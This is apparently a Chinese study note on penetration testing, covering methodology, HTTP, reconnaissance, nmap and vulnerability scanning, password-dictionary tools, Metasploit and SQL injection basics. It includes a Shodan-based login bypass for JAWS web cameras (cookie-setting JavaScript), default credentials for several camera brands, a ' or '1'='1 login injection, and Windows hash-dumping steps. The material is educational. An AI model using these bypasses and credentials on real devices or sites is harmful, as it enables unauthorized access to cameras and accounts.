04- 信息收集+扫描+SQL注入

目录


 

渗透测试类型

 脆弱性评估

安全测试方法论

渗透测试通用框架

HTTP协议

信息收集

扫描技术

口令破解

MSF

SQL注入

其他注入

SQL注入补充



 

其他

 

 

 

 

渗透测试类型

复制代码
  是实施安全评估(即审计)的具体手段。方法论是在制定、实施信息安全审计方案时,需要遵循的规则、惯例和过程。
人们在评估网络、应用、系统或三者组合的安全状况时,不断摸索各种务实的理念和成熟的做法,并总结了一套理论 ---- 渗透测试方法论。

黑盒测试
 在进行黑盒测试时,安全审计员在不清楚被测单位的内部技术构造的情况下,从外部评估网络基础设施的安全性。在渗透测试的各个阶段,黑盒测试借助真实世界的黑客技术,暴露出目标的安全问题,甚至可以揭露尚未被他人利用的安全弱点。渗透测试人员应能理解安全弱点,将之分类并按照风险等级(高、中、低)对其排序。
    通常来说,风险级别取决于相关弱点可能形成危害的大小。老练的渗透测试专家应能够确定可引发安全事故的所有攻击模式。当测试人员完成黑盒测试的所有测试工作之后,他们会把与测试对象安全状况有关的必要信息进行整理,并使用业务的语言描述这些被识别出来的风险,继而将之汇总为书面报告通常黑盒测试的市场报价会高于白盒测试

 

  白盒测试

   

  白盒测试的审计员可以获取被测单位的各种内部资料甚至不公开资料,所以渗透测试人员的视野更为开阔。若以白盒测试的方法评估安全漏洞,测试人员可以以最小的工作量达到最高的评估精确度。白盒测试从被测系统环境自身出发,全面消除内部安全问题。从而增加了从单位外部渗透系统的难度。黑盒测试起不到这样的作用。
    白盒测试所需要的步骤数目与黑盒测试不相上下。另外,若能将白盒测试与常规的研发生命周期相结合,就可以在入侵者发现甚至利用安全弱点之前,尽可能最早地消除全部安全隐患这使得白盒测试的时间、成本,以及发现、解决安全弱点的技术门槛都全面低于黑盒测试。

 

 

复制代码

返回目录

 

 

脆弱性评估

   脆弱性评估通过分析企业资产面临安全威胁的情况和程度,评估内部和外部的的安全控制的安全性。这种技术上的信息系统评估,不仅揭露现有防范措施里存在的风险,而且要提出多重备选的补救策略,并将这些策略进行比较。
   内部的脆弱性评估可保证内部系统的安全性,而外部的脆弱性评估则是验证边界防护的有效性。无论进行内部脆弱性评估还是进行外部脆弱性评估,评估人员都会采用各种攻击模式来严格测试网络资产的安全性,从而验证信息系统处理安全威胁的能力, 进而确定应对措施的有效性。
   不同类型的脆弱性评估需要的测试流程、测试工具和自动化测试技术也不尽相同;这可以通过一体化的安全弱点管控(vulnerability management)平台来实现。现在的安全弱点管理平台带有可自动更新的漏洞数据库,能够测试不同类型的网络设备,而且不会影响配置管理和变更管理的完整性。
   脆弱性评估和渗透测试两者最大的区别就是∶渗透测试不仅要识别目标的弱点,它还设计在目标系统上进行漏洞利用、权限提升和访问维护。换句话说,脆弱性评估虽然可以充分发现系统里的缺陷,但是不会考虑去衡量这些缺陷对系统造成的危害。
   另外,相比脆弱性评估,渗透测试更倾向于入侵,会刻意使用各种技术手段利用安全漏洞;所以渗透测试可能对生产环境带来实际的破坏性影响。而脆弱性评估以非入侵的方式,定性、定量得识别已知安全弱点。

 返回目录

 

 

安全测试方法论:

复制代码
开放式Web 应用程序安全项目(OWAS)
Welcome to OWASP CHINA — OWASP-CHINA :OWAS中国分区官网 (owasp.org.cn
owasp.org :OWAS官网
可以在这两个官网中查看openvas的测试指南、开发人员指南、代码审查指南、WEB十大安全漏洞等关于网络安全和渗透的相关知识

安全漏洞类型(CWE):
http://cwe.mitre.org/
通过这个网站我们查看已知的大多数安全漏洞及其序号(某一类)


CVE:一个可以查看具体漏洞及其编号的官网
http://cve.scap.org.cn/ :CVE中文官网
CVE外网:
https://cve.mitre.org/
https://www.cve.org
CVE 是通用漏洞披露(Common Vulnerabilities and Exposures)的英文缩写,列出了已公开披露的各种计算机安全缺陷。
     人们提到 CVE,指的都是已分配 CVE ID 编号的安全缺陷。
注意:一个安全公告就是一个漏洞(安全补丁就是用来补这个漏洞的)
CWE可以看做是对CVE的分类

其他一些安全相关的网站:
www.isecom.org
http://projects.webappsec.org/
Web应用安全联合威胁分类

http://www.pentest-standard.org/
T00LS | 低调求发展 - 潜心习安全 - T00ls.Com
FreeBuf网络安全行业门户https://www.freebuf.com)(包含漏洞、安全、网络工程等方面)


openvas :一款网络漏洞扫描应用
www.openvas.org


systeminfo :可以查看系统信息及补丁信息
复制代码

 返回目录

 

 

渗透测试通用框架

复制代码
1.范围界定
复制代码
在开始技术性安全评估之间,务必要观察、研究目标环境的被测范围。同时还要了解,这个范围牵扯多少个单位,是单个单位还是多个单位会参与到安全评估的工作中来,在范围界定阶段,需要考虑的典型因素如下。
1.测试对象是什么?2.应当采取何种测试方法?                      3.有哪些在测试过程中需要满足的条件?
4.哪些因素可能会限制测试执行的过程?                           5.需要多久才能完成测试
6.此次测试应当达成什么样的任务目标?
范围界定
复制代码

2.信息搜集
复制代码
在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。他们从互联网上搜集信息的互联网渠道主要有∶
  论坛|公告板|新闻组|媒体文章|博客 |社交网络|其他商业或非商业性的网站
此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS 服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多,渗透测试成功的概率越高。
信息收集
复制代码
3.目标识别
这个阶段的主要任务是识别目标的网络状态、操作系统和网络架构。该阶段工作旨在完整地展现目标网络里各种联网设备或技术的完整关系,以帮助测试人员在接下来的工作里枚举目标网络的各种服务。
目标识别

4.服务枚举
这一阶段会根据前面各个阶段的成果,进一步找出目标系统中所有开放的端口。一旦找到了所有开放的端口,就可以通过这些端口来列出目标系统上运行的服务主机上开放的端口都有相应的服务程序,对这些信息进行深度分析之后,可进一步发掘目标网络基础设施中可能存在的漏洞。
服务枚举

5.漏洞映射
可以根据已经发现的开放端口和服务程序,查找、分析目标系统中存在的漏洞。如果能够采用自动和手动这两种不同的测试方法结合起来,审计人员对目标系统的认知就会更为清晰、透切,并能够仔细地检查任何已知和未知的漏洞。
漏洞映射

6.社会工程学
复制代码
如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的重要作用。对目标组织中的人员进行定向攻击,很有可能帮助我们找到渗透目标系统的入口。例如,诱使用户运行安装后门的恶意程序,就可能为审计人员的渗透工作形成突破。
社会工程学渗透分为多种不同实现形式。伪装成网络管理员,通过电话要求用户提供自己的账户信息;发送钓鱼邮件来劫持用户的银行账户;甚至诱使某人出现在某个地点—这些都属于社会工程学攻击。
在社会工程学中,达成同一既定目标的实现方式应有尽有。需要注意的是,在对目标实施欺骗以达成渗透目标之前,多数情况下需要长时间研究目标人员的心理。另外,在开展这个阶段的工作之前,您需要实现研究过内的法律是否有关于社会工程学的相关条款。
社会工程学
复制代码

7.漏洞利用
在仔细检查和发现目标系统中的漏洞之后,就可以使用已有的漏洞利用程序对目标系统进行渗透。
审计人员可以把客户端漏洞利用程序和社会工程学进行结合,进而控制目标系统。这个阶段的主要任务是控制目标系统。这个流程可以分为三步,涉及攻击前、攻击、攻击后的相关行动。
漏洞利用

8.权限提升
复制代码
获取目标系统的控制权是渗透成功的标识。接下来,审计人员就可以根据其所拥有的访问权限,在被测系统中自由发挥。
审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限。只要他们能偶在目标系统上运行提权漏洞利用程序就可以获得主机的超级用户权限或者系统级权限。
审计人员还可以以该主机为跳板,进一步攻击局域网络。根据之前渗透范围的界定,审计人员接下来会开展的攻击可能是受限制的,也可能是不受限制。然后,他们很有肯呢个以各种方式获得与控制系统有关的更多信息。
具体的说,他们可能是用嗅探手段截获网络数据包,破解各种服务的密码,在局域网络中使用网络欺骗手段。所以说,提升权限的最终目的是获得目标系统的最高访问权限。
权限提升
复制代码

9.访问维护
复制代码
多数情况下,审计人员需要在一段时间内维护他们对目标系统的访问权限。例如,在演示越权访问目标系统的时候,安装后门将节省重新渗透目标系统所耗费的大量时间。
这种情况下,访问维护将节约获取目标系统访问权限所需要的时间、花费和资源。审计人员可以通过一些秘密的通信隧道,在既定时间内维持对目标的访问权限。
这些隧道往往基于特定协议、代理或者点对点方法的后门程序。这种对系统的访问方法可以清楚地展示,入侵人员在目标系统实施攻击时隐藏行踪的具体方法。
访问维护
复制代码

10.文档报告
复制代码
在渗透测试的最后一个环节里,审计人员要记录、报告并现场演示那些已经识别
验证和利用了的安全漏洞。
在被测单位的管理和技术团队会检查渗透时使用的方法,并会根据这些文档修补所有存在的安全漏洞。
所以从道德角度来看,文档报告的工作十分重要。并为了帮助管理人员和技术人员共同理解、分析当前IT 基础架构中的薄弱环节,可能需要给不同的部门撰写不同措辞的书面报告。此外,这些报告还可以用来获取和比渗透测试前后系统目标的完整性。
文档报告
复制代码

 

 

 

复制代码

 返回目录

 

HTTP协议:

复制代码
HTTP : 超文本传输协议;是浏览器与Web 服务器之间的通信协议,是传递消息的规范和要求。
HTTP 是用来将htmL 文档从Web 服务器传输到Web 浏览器。是一个请求和响应的协议。客户端发出请求,服务器端对请求给出回应。
HTTP 使用可靠的TCP 连接,默认端口80。
URL:
统一资源定位符(网址),用来告诉Web 容器,浏览器所请求资源(文件)的路径。
例如∶http://localhost/cms/show.php?id=32

schema://Login:password@address:port/path/to/resource/?query_str ing#fragment
schema : 协议类型 port : 端口号
login : 用户名 password : 登录密码 (匿名访问时没有这两个内容)
fragment :锚点
协议 ://用户名:密码@主机名:端口号/资源路径

URL 中允许出现的字符是有限制的,URL 中从path 开始允许直接出现 A-Z;a-z;0-9;
半角减号(-)、下划线句点(.)、波浪号(~)、其他字符均会被百分号编码
eg: # --> %23 % + ASCLL的十六进制

HTTP请求:
HTTP 请求由请求行、请求头、请求正文三个部分组成。
1、 请求行∶方法,资源路径,协议/版本(一般是第一行)
2、 请求头 :从请求报文第二行开始到第一个空行为止之间的内容。其中包含很多字段。
3。请求正文,第一个空行之后的内容

方法:
GET 是最常用的方法,通常用于请求服务器发送的某个资源。(注意:get方式的请求没有正文)
POST 方法可以向服务器提交参数以及表单,包括文件流等。
HEAD 与GET 方法类似,但在服务器响应中只返回首部
PUT 与GET 从服务器读取文档相反,PUT 方法会向服务器写入文档。
TRACE 回显浏览器的请求。
OPTIONS 方法请求Web 服务器告知其支持的各种功能。
DELETE 方法请求服务器删除请求URL所指定的资源。
GET提交的数据会放在URL之后,也就是请求行里面,以?分割URL和传输数据,参数之间以&相连,如EditBook?name=test1&id=123456.
请求头:
host : 主要用于指定被请求资源的Internet主机和端口号
User-Agent : 表明什么是浏览器,并允许服务器向浏览器方式为特定浏览器类型而优化的文件
Gecko : 表明请求来自那个浏览器的那个版本
Accept : 表明客户端可以处理的数据类型
Referer : 包含一个URL,代表当前URL的上一个URL,即由那个页面跳转过来的
Cookie : 记录请求者的身份认证信息;包括账号和密码
Accept-Charset : 用于指定客户端接收的字符集
Content-Type : 数据类型
Content-Length : 用于指明请求正文的长度,以字节方式存储的十进制数
Last-Modified : 用于指明资源的最后修改时间和日期

响应报文:
响应报文由状态行(即响应头)、响应头、响应正文三部分组成
1、状态行∶协议/版本,状态代码,描述短语
状态代码 : 100~199 信息性状态码 200~299 成功状态码
300~399 重定向状态码 400~499 客户端错误状态码
500~599 服务器错误状态码
2、响应头 :第二行开始到第一个空行为止的所有内容,其中包含了关于HTTP响应的重要字段。
3、响应正文 :服务器返回资源的内容,即浏览器接收到的HTML 代码

正文字段:
Date : 做出请求的日期
Server 服务器类型
Set-Cookie 向浏览器端设置Cookie
Last-Modified服务器通过这个头信息告诉浏览器,资源的最后修改时间
Content-Length 正文的长度
LOCation 重定向目标页面
Refresh 服务器通过Refresh头告诉浏览器定时刷新浏览器
Cookie 与Session 机制
复制代码

 返回目录

 

 

信息收集:

复制代码

复制代码
在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。
他们从互联网上搜集信息的互联网渠道主要有∶论坛、公告板、新闻组、媒体文章仓博客、社交网络、其他商业或非商业性的网站等...
此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS 服务器、路由关系、whois
数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多,渗透测试成功的概率越高。
信息收集
复制代码
专门用来做网络安全测试(攻击)的网站:
testfire.net
http://yuLnweb.com/
DNS信息收集:
在收集DNS信息的时候,主要关注域名注册商,管理员联系方式,电话和邮箱,子域名等信息。
1、whois 查询
whois 是一个集成在kali 虚拟机中的小工具。whois 工具可以用来查询域名注册信息。
注意:用whois查询时只需纯域名(eg:baidu.com)即可,不需要主机头(eg:www)
2、通过站长之家进行whois 查询【http∶//whois.chinaz.com】;除了用whois 查询以外,还可以进行反查。如邮箱反查、电话反查、注册人反查

子域名查询:
https∶//searchdns.netcraft.com/
或是证书

域传送漏洞:
当配置主、备份DNS服务器时,主DNS服务器若是被错误地配置时;只要有c1ient发出请求,就会向对方提供一个zone数据库(DNS自身的DNS数据库)的详细信息(即DNS备份信息);
因为DNS主、备份服务器同步时没有身份验证,故而,只要主服务器收到同步请求,就会将自己的DNS数据库发生给请求者;它不会去验证请求者是否是自己的备份服务器。
解决方法:指定IP地址,只有收到该IP地址的同步请求才会发送DNS数据库

可以用 dig 工具(kali中自带)查询域传送漏洞:
dig axfr @DNS服务器IP 域名
eg: dig axfr @172.16.132.1 www.vuLhub.org
通过域名传送漏洞可以得到子域名信息、子域名对应的IP 地址

子域名爆破:
1、工具:子域名挖掘机(一个软件)
注意:准备一个字典里面写上所有可能的主机头(4个字母左右别超过十个)。字典中的每个单词,依次去尝试。
2、dnsrecon(kali中自带)
dnsrecon -d 纯域名(不带主机头) -D 主机头字典绝对路径 -t brt
注意:要准备好字典

通过域名解析IP地址:
1、ping 域名
eg: ping baidu.com
2、nslookup
3、 dig 域名 (kali中自带)
dig @指定NDS IP 域名 (指定DNS服务器查询)
dig +trace 域名 (获取域名详细解析过程)
4、dnsenum (kali中自带)
dncenum 域名
推荐使用dnsenum,此款工具在解析域名的时候,会指定检测域传送漏洞。
5、站长之家 站长工具 - 站长之家 (chinaz.com)

CNS :
CDN 加速的问题、CDN 是内容分发网络
本意是进行节点缓存,使网站访问速度加快。一般情况下是没办法得到目标网站的真实IP 的。(可以隐藏真实IP)
参考:绕过CDN查找网站真实IP方法收集 - T00ls.Com
T00LS | 低调求发展 - 潜心习安全 - T00ls.Com
网络学习网站 - 牛逼网站 (nbwz.com)

IP查询:
http://ip.chinaz.com/65.61.137.117(站长之家)
同IP查询 :同一个IP上挂着不同网站
IP whois查询

通过IP获得主机位置:
1、查询IP 地址经纬度
IP地理位置和在线欺诈预防|麦克斯迈德 (maxmind.com) (https:L/www.maxmind.com/en/home)
2、通过GPS或北斗系统相关网站 查询物理位置
http://www.gpsspg.com/maps.htm

利用搜索引擎收集信息:
1、goog le hacking
googLe 机器人,爬行全世界所有网站的内容;hacker就是利用搜索引擎语法,获取有关网站的信息。如果google 搜索用不了的话,也可以考虑用其他搜索引擎。
1)探索网站目录结构
"关键字、词、句" site:域名
eg: "parent directory" site:testfire.net
2)搜索容易存在sqL 注入的页面
site:域名 inurl:URL中出现的关键字
eg: site:testfire.net inurl:login
3)搜索指定的文件类型
filetype pdf

钟道之眼 (首页 - 网络空间测绘,网络安全,漏洞分析,动态测绘,钟馗之眼,时空测绘,赛博测绘 - ZoomEye(“钟馗之眼”)网络空间搜索引擎
https://www.zoomeye.org
ZoomEye 支持公网设备指纹检索和 Web指纹检索。
网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据等。
具体操作参考手册 :https://www.zoomeye.org/doc?channel=user


shodan 一个被破解的世界各地摄像头内容网站
https://www.shodan.io/ Shodan Search Engine
商丹帮助中心 (shodan.io)

1、利用shodan 搜索
eg:JAWS/1.1
1)空口令登入:点击第一条连接,即可进入登录页面。
2)使用口令【admin/空密码】,即可进入后台,查看摄像头
3)登录绕过:
在控制台中输入以下JS代码,然后直接访问【/view2。html】,即可绕过登录验证进入控制台
------------------------------------------------------------
document.cookie="dvr_camcnt=4";
document.cookie="dvr_usr=admin";
document.cookie="dvr_pwd=123";
-----------------------------------------------------------
4)其他摄像头默认账密
海康威视IP网络摄像机admin,密码∶1234
Hikvision Server: DVRDVS-Webs
大华网络摄像机 admin,密码∶888888
天地伟业网络摄像机Admin,密码∶111111
  SQL 注入初探-万能密码
通过goog Le 语法找到可能存在SQL 注入的页面,
在登录框中输入【admin'/123456】,会显示如下报错信息;核心报错信息如下:
Syntax error (missing operator)in query expression 'username ='admin'' AND pasSword ='12346''.
根据报错信息可知,该登录框存在SQL 注入漏洞

万能密码登录
在登录框中输入【admin/123456' or '1'='1】即可登录系统


参考:
漏洞利用数据库 - 针对渗透测试人员、研究人员和道德黑客的攻击 (exploit-db.com)


复制代码

 返回目录

 

扫描技术

复制代码
扫描的目的是资产发现;即发现目标环境中哪些资产,联网设备,主机,服务器,各种服务等。
渗透前期最重要的是资产整理,发现,收集

常用扫描工具 :nmap (kaili中自带,也可以在Windows中安装)
(使用kali时建议选择桥接模式) nmap扫描主机时,如果没有指定参数,则默认扫描前 1000 个端口
主机发现 :扫描有哪些主机在线
端口扫描:目的是为了扫描
那些端口是开启的 、端口上的服务是什么
扫描方式:
1、TCP 全连接扫描 2、SYN 半连接扫描隐蔽扫描
3、隐蔽扫描 :
NuLl 扫描 、 Xmas 扫描 、 FIN 扫描
nmap:
端口状态:
开放 、关闭 、过滤 、未过滤 、 开放|过滤 、 关闭|过滤

可以用wireshark抓包工具抓包查看
以TCP全连接扫描为例,过滤三次握手的包 ip.addr == 10.0.105.1 and tcp.port == 80


网络漏洞扫描:
我们可以通过网络漏洞扫描,全面掌握目标服务器存在的安全漏洞。市面上常用的扫描有Nessus、NeXpose、OpenVAs等,这些扫描器都有商业版和免费版或者家庭版。
本课程使用的网络漏洞扫描器是OpenVAS,可以用来识别远程主机、Web 应用存在的各种漏洞。Nessus 曾将是业内开源漏洞扫描工具的标准,在Nessus 商业化不在开放源代码后,在它的原始项目中分支出openVAs 开源项目。
经过多年的发展,openVAs 已经成为当前最好的开源漏洞扫描器,功能非常强大,甚至可以与一些商业的漏洞扫描器相媲美。OpenVAS 使用NVT 脚本对多种远程系统(包括windows、Linux、UNIX 以及web 应用程序等)的安全问题进行检测。

   原理:

  

复制代码
网络漏洞扫描指的是利用一些自动化工具发现网络上各类主机设备的安全漏洞。这些自动化工具通常称为漏洞扫描器。漏洞扫描通常可以分为两类,黑盒扫描和白盒扫描。
黑盒扫描:
  黑盒扫描一般都是通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了一些更高级的技术,比如模拟渗透攻击等。
白盒扫描:
  白盒扫描就是在具有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送相应的操作系统补丁。
白盒扫描的结果更加准确,但一般来说它所识别出的漏洞不应当作为外部渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透测试中得到利用。同时,一般情况下你是没有机会获取用户名和口令。
漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能够匹配上,就说明存在某一个漏洞。

漏洞扫描器在识别漏洞的过程中, 会向目标发送大量的数据包, 有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为也会被对方的入侵检测设备发现。
漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际并不存在)或者漏报(未报告发现漏洞但漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏是实际存在的,这个过程就叫做漏洞验证。这是渗诱测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描、但使用时一定要注意规避风险,对其系统运行可能造成的影响将到最低。即扫描前要先询问用户能否进行扫描,因为则可能会造成服务器瘫痪
复制代码
  推荐工具openvas(官网 http://wwwopenvas.org/
步骤:1、新建目标:configuration ---> targets ---> 点击五角星图标,就可以开始建立目标了
2、创建任务: Scan --> tasks
3、点击图标,启动任务
4、扫描完成后,查看并以文件的形式保存结果


Web漏洞扫描
Web 漏洞扫描简述
随着互联网的发展以及云计算的发展,使得政府、银行、企业以及各个组织基本上都有自己的门户网站。W eb 应用越来越多,同时web 应用的攻击成本、难度都比较低,Web应用成为黑客攻击的主要目标。无论黑客出于什么样的目的,Web 应用所面临的挑战都是很大的。
如何及时、快速发现Web 应用安全漏洞,并且修补安全漏洞,减轻或消除Web 安全风险成为安全行业的重要课题。
小型Web 应用几十上百个页面,大型的Web应用成干上万个页面。如果靠人工的方式去检测每个页面的安全性,显然,这个成本是难以估计的。所以,我们需要借助于自动化工具, 帮助审计员去发现Web 安全漏洞。这些自动化工具就是

      web漏洞扫描器

市面上Web 漏洞扫描器有很多,其中以IBM 公司的AppScan 和商业化web 漏洞扫描器AWVS 为优秀。Web 漏洞扫描器大同小异,本课程以AWVS 为例子,讲解Web 漏洞扫描器的使用
   web漏洞扫描原理
进行Web 漏洞扫描的时候,大致分为一下几个步骤∶
1、爬行网站目录(若是遇到java框架的网站时,不怎么管用)
2、使用漏洞脚本(NVT)扫描
3、保存扫描结果

使用 AWVS 扫描 testfire.net
复制代码
创建扫描目标
  点击【New Scan】,即可打开扫描向导,在Website URL中输入网址 http://www.testfire.net  跟着向导一步一步配置即可。
  设置扫描策略,如果没有特殊的要求,默认即可。
  在目标阶段,AWVS 会自动识别目标Web 服务相关信息,包括系统、Web 容器类型和版本、中间件信息。
  如果网站中有登录框,可以将测试账号账密填写在下方。
  点击【Finish】,即可完成扫描向导,开始扫描工作。
  Web 漏洞扫描需要一定的时间,等待即可。
  整个页面布局左/中/右三个部分。最左侧是一些小工具列表。中间部分是漏洞点和网站结构目录。右侧是漏洞概览或者漏洞详细信息。
  可以看出AWVS 把漏洞分为高危/中危/低危/信息泄露,四个级别。其中高位漏洞12 个等等。在扫描期间,共发送了13737 次请求,这个请求量还是很大的。
扫描结果分析
  可以将漏洞点依次展开, 可以看到含有漏洞的页面,以及造成漏洞的参数。同时在右侧边栏,可以看到漏洞的详细信息。包括漏洞描述和测试payLoad。
  在下方我们可以看到,AWVS 所发送HTTP 请求的原始报文和响应报文。
保存扫描报告
  可以将扫描结果保存下来。保存的扫描结果文件的后缀名是【.ws】。如果安装了虚拟打印机,也可以将扫描结果保存成pdf 格式,便于传阅。
复制代码

关于漏洞 (我们要了解):
1、漏洞名称
2、漏洞风险等级: 高危 、 中危 、 低危 、 信息泄露
3、漏洞描述
4、漏洞危害
5、修复建议

详细讲解
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=190
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=191
复制代码

 返回目录

 

 

口令破解:

复制代码
□令安全概述:
现在很多地方都以用户名(账号)和口令(密码)作为鉴权(鉴别权限)的方式,口令(密码)就意味着访问权限。

口令安全现状:
1、弱口令 :类似于123456、654321、admin123 等这样常见的弱密码
2、默认口令: 很多应用或者系统都存在默认口令。比如phpstudy 的mysqL 数据库默认账密【root/root】,Tomcat 管理控制台默认账密【tomcat/tomcat】等。 3、明文传输 : 如 HTTP 、 FTP 、 TELNET等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有被嗅探的风险。

破解方式:
在线破解方式 :需要账号、密码,需要认证
离线破解方式 :密文还原成明文的过程。(本地破解方式)

1、暴力破解:
暴力破解就是利用所有可能得字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码。 2、字典破解:
如果能通过比较合理的条件, 筛选或者过滤掉—些全字符组合的内容,就会大幅降低爆破的成本。我们把筛选出的密码组合成特定的字典。在用字典爆破密码也是可以的,
但是这样做有可能会漏掉真正的密码。密码字典大致分为以下几类。 1)弱口令字典:比如123456,admin 等这样的默认口令或弱口令
2)社工字典:
人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合"名字+生日"。
创建密码字典工具 :
1、cupp (kali中自带)
若没有的话可以 :apt-get update (更新软件列表)
apt-get install cupp (安装 cupp)
2、crunch(kali中自带)
是一种创建密码字典的工具, 按照指定的规则生成密码字典, 可以灵活的定制自己的字典文件。使用crunch工具生成的密码可以输出到屏幕,保存文件或另一个程序。
尤其在渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重要的作用。
man crunch 可以查看 crunch 的帮助手册
命令格式:
crunch <min-len>(最小长度) <max-Len>(最大长度)[<charset string>] [options] ([]中的为可选内容)
特殊字符:
% 代表数字 ^ 代表特殊字符
@ 代表小写字母 , 代表大小字母
查看库文件:
cat /usr/share/crunch/charset.lst
生成字典:
复制代码
生成1-6 位的密码字典,字符集合为【abcdefg】,从a 开始到gggggg 结束。
[crunch 1 6 abcdefg]

生成3 位的密码字典,字符集合为【ab 】,从a 开始到【 b】 结束。
生成指定字符串,比如生日的日期
[crunch 8 8-t 199307%% -e 19930730]

生成元素的组合,比如123。com
[crunch 7 7-t %%%.com -s 111.com -e 123.com]]

在字典中输出特殊字符
[crunch 3 3 abc -t @@@ -l @aa]

输出特殊字符
[crunch 3 3 abc -t @@@ -1 aa]

以元素组合生成字典
[zhangsan |1993|0701]
[crunch 4 4 -p ajest 1992 0701]*

保存字典文件
[crunch 11 11 -t 1700010%%%%-b 20mb -0 START]
*
自定义字符集合
将自带字典文件进行备份。
创建自定义字符集合

使用自定义字符集合生成【*。com】 字典文件
[crunch 5 5 -f charset.Lst test -t @.com]
生成字典
复制代码
----------------------------------------------------------------------------------------------------------------------

详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=192

简单字典:
子域名字典 、 默认账号密码字典 、 文件路径字典(日志文件、Web 目录)、 常用变量名字典 、 常用文件名字典 、 弱口令字典

hydra

 ----------------------------------------------------------------------------------------

本地破解密码:
windows破解
1、从内存中读取windowS 密码
我们可以是用getpass 直接从windows 系统内存中读取账号密码
2、windowS hash 值破解
windowS hash值破解一共需要两步操作。首先我们使用QuarksPwDump工具读取(导出)windows 账户密码hash 值,然后再使用john (kali自带)工具破解。
john 储存hash的文件 --format=NT [--wordlist=字典路径 ]([]表示可选)
john 储存hash的文件 --show --format=NT

Linux口令破解
我们可以使用john 工具,破解shadow 密码文件。john 也是自动集成在kali 中。john 破解的时候也需要准备一个字典。


网络服务口令破解

复制代码

 

 返回目录

 

MSF :

复制代码
MSF(kali中自带)利用 MS17-010(永恒之蓝)得到目标主机系统权限(system)
输入:
msfconsole
search MS17-010 可以搜索到MS17-010的利用方法


MSF利用SMB连接windows系统并执行命令

 


 

 
复制代码

 

 返回目录

 

 

SQL注入

复制代码
SQL注入基础:
现在使用的数据库大多都是关系型数据库;即具有明显的层次结构:库名 -- 表名 -- 字段 -- 内容
如:MYSQL、 ACCESS 、SERVERSQL 、orcale

SQL注入漏洞原理:
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
其成因可以归结外以下两个原因叠加造成的∶
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造S0L语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

注入点可能存在的位置:
Web 应用在获取用户数据的地方,只要带有数据库查询,都有存在SQL注入的可能,这些地方通常包括∶
GET 数据 、 POST 数据 、HTTP 头部(HTTP 请求报文其他字段) 、Cookie 数据

漏洞危害:
攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如∶管理员后台密码),从而脱取数据库中内容(脱库)。
在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL 注入漏洞直接获取websheLL或者服务器系统权限。
mof |udf 都表示提权

注入分类:
从数据类型分类来看,S0L 注入分为数字型和字符型。
数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。字符型注入正好相反。 根据注入手法分类,大致可分为以下几个类别:
1、UNION query SQL injection(可联合查询注入) 联合查询
2、Error-based SQL injection(报错型注入) 报错注入
3、Boolean-based blind SQL injection(布尔型注入) 布尔盲注
4、Time-based bLind SQL injection(基于时间延迟注入) 延时注入
5、Stacked queries SQL injection(可多语句查询注入) 堆叠查询

以Mysql为例:
mysqL 数据库的注释大概有以下几种:

# 、 -- (杠杠空格) 、 /* ····· */ 、 /*!······*/ (也叫内联查询)、 %23
一般在输入框或是HTTP请求中的时候用#,在地址栏的时候使用%23

----------------------------------------------------------------------------------------------------------------------------------------------------------
information_schema : Mysql数据库的元数据库;里面包含mysql中所有数据库的数据库名、表名、字段名(主要介绍其中两个表)
tables表中 :
table_name 字段中储存所有表的名字
table_schema 字段中储存前一个字段中储存的表所属与的数据库名
columns表中:
column_name 字段储存所有字段的名字
table_name 字段储存前一个字段储存的字段所属于的表的名字

tale_schema 字段储存第一个字段中储存的字段属于的数据库的名字
------------------------------------------------------------------------------------------------------------------------------------------------------------

Mysql常见参数及函数: group_conat()少了个c,应该是group_concat()
截取字符串时,若是没有第三个参数,则默认从截取的起始位置,截取到最后一位;(一次性最多能截取30个字符)


==================================================================================================================================
SQL注入:








手工注入流程:(结合https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=195 理解)
SQL 语句解析过程:
1、from 后面的表标识了这条语句要查询的数据源。from 过程之后会形成一个虚拟的表VT1
2、WHERE
WHERE 对vr1 过程中生成的临时表进行过滤,满足where 子句的列被插入到vT2
3、group by
